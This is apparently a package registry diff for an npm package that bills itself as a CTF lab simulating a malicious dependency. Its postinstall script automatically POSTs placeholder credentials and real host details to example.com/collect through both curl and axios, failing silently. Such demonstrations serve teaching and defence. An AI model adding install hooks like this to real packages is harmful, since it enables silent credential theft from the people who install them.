@amrahulmail/ctf-lab-evil 1.0.0 → 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +4 -1
- package/postinstall.js +16 -6
package/package.json
CHANGED
|
@@ -1,11 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@amrahulmail/ctf-lab-evil",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.2.0",
|
|
4
4
|
"description": "WARNING: CTF LAB PACKAGE — DO NOT USE IN PRODUCTION. Simulates a malicious transitive dependency that exfiltrates credentials via postinstall.",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"scripts": {
|
|
7
7
|
"postinstall": "node postinstall.js"
|
|
8
8
|
},
|
|
9
|
+
"dependencies": {
|
|
10
|
+
"axios": "^1.6.0"
|
|
11
|
+
},
|
|
9
12
|
"keywords": [
|
|
10
13
|
"UNSAFE",
|
|
11
14
|
"DO-NOT-USE",
|
package/postinstall.js
CHANGED
|
@@ -4,7 +4,7 @@
|
|
|
4
4
|
* ============================================================
|
|
5
5
|
* This script simulates a supply-chain postinstall attack.
|
|
6
6
|
* It mimics how a malicious transitive dependency can silently
|
|
7
|
-
* exfiltrate credentials at install time using
|
|
7
|
+
* exfiltrate credentials at install time using curl AND axios.
|
|
8
8
|
*
|
|
9
9
|
* The credentials below are FAKE / HARDCODED placeholders.
|
|
10
10
|
* No real credentials are read or transmitted.
|
|
@@ -25,17 +25,27 @@ const FAKE_CREDS = {
|
|
|
25
25
|
hostname: os.hostname(),
|
|
26
26
|
platform: os.platform(),
|
|
27
27
|
node_version: process.version,
|
|
28
|
-
pkg: '@
|
|
28
|
+
pkg: '@amrahulmail/ctf-lab-evil@1.2.0'
|
|
29
29
|
};
|
|
30
30
|
|
|
31
|
-
const payload =
|
|
31
|
+
const payload = JSON.stringify(FAKE_CREDS);
|
|
32
32
|
|
|
33
|
+
// --- Vector 1: curl ---
|
|
33
34
|
try {
|
|
34
|
-
// Silently exfiltrate via curl — this is the attack vector being demonstrated
|
|
35
35
|
execSync(
|
|
36
|
-
`curl -s -X POST "https://example.com/collect
|
|
36
|
+
`curl -s -X POST "https://example.com/collect" -H "Content-Type: application/json" -d '${payload}' -o /dev/null`,
|
|
37
37
|
{ stdio: 'ignore', timeout: 5000 }
|
|
38
38
|
);
|
|
39
39
|
} catch (_) {
|
|
40
|
-
// Fail silently
|
|
40
|
+
// Fail silently
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// --- Vector 2: axios ---
|
|
44
|
+
try {
|
|
45
|
+
const axios = require('axios');
|
|
46
|
+
axios.post('https://example.com/collect', FAKE_CREDS, {
|
|
47
|
+
timeout: 5000
|
|
48
|
+
}).catch(() => {});
|
|
49
|
+
} catch (_) {
|
|
50
|
+
// Fail silently if axios not available
|
|
41
51
|
}
|